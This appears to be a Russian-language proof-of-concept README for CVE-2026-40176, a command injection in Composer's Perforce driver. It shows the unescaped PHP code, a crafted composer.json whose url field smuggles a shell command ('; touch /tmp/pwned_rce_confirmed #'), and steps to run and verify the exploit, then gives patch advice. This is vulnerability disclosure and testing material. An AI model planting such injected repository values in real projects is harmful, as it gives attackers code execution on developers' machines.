
Доказательство концепции для CVE-2026-40176 — инъекция OS-команд в драйвере Perforce в Composer, позволяющая удалённое выполнение кода через специально сформированный composer.json.
Этот репозиторий представляет собой Proof of Concept (PoC) критической уязвимости инъекции команд ОС CVE-2026-40176, существующей в драйвере Perforce VCS в Composer. Уязвимость затрагивает версии Composer до 2.2.27 и 2.9.6.
Уязвимость находится в методе Perforce::generateP4Command(). При сборке команд оболочки недостаточно санитизируются значения конфигурации репозитория, такие как url, p4user, client, что позволяет атакующему, используя контролируемый composer.json, выполнить произвольные команды в момент, когда жертва выполняет composer install или composer update.
Обнаружено: saku0512 (GitHub)
Этот проект предназначен только для образовательных целей и разрешенных этических проверок безопасности.
Автор не несет никакой ответственности за неправильное использование, ущерб или незаконные действия с использованием данного инструмента. Доступ к компьютерным системам без разрешения является незаконным. Используя это программное обеспечение, вы соглашаетесь проводить проверки безопасности только в средах, на которые получено явное разрешение.
В методе generateP4Command() в файле src/Composer/Util/Perforce.php команды оболочки формируются путем прямого объединения строк, полученных из конфигурации репозитория.
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // не экранировано
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // не экранировано
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // не экранировано
Если эти строки содержат метасимволы оболочки, такие как ;, &, |, они будут интерпретированы оболочкой, что приведет к инъекции команд.
Убедитесь, что PHP установлен. Данный PoC воспроизводит уязвимую логику внутри Composer.
# Проверка версии PHP
php -v
Атакующий может создать composer.json следующего содержания:
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
Прилагаемый файл poc.php воспроизводит внутреннюю логику генерации и выполнения команд в уязвимой версии Composer.
# Запуск PoC
php poc.php
Проверьте, существует ли файл, созданный полезной нагрузкой, чтобы подтвердить выполнение команды.
ls -l /tmp/pwned_rce_confirmed
Если файл существует, вы можете убедиться, что RCE сработал.
Немедленно обновите Composer до последней версии.
composer self-update
В исправлении для предотвращения интерпретации оболочкой применяется ProcessExecutor::escape() ко всем аргументам, полученным из пользовательского ввода.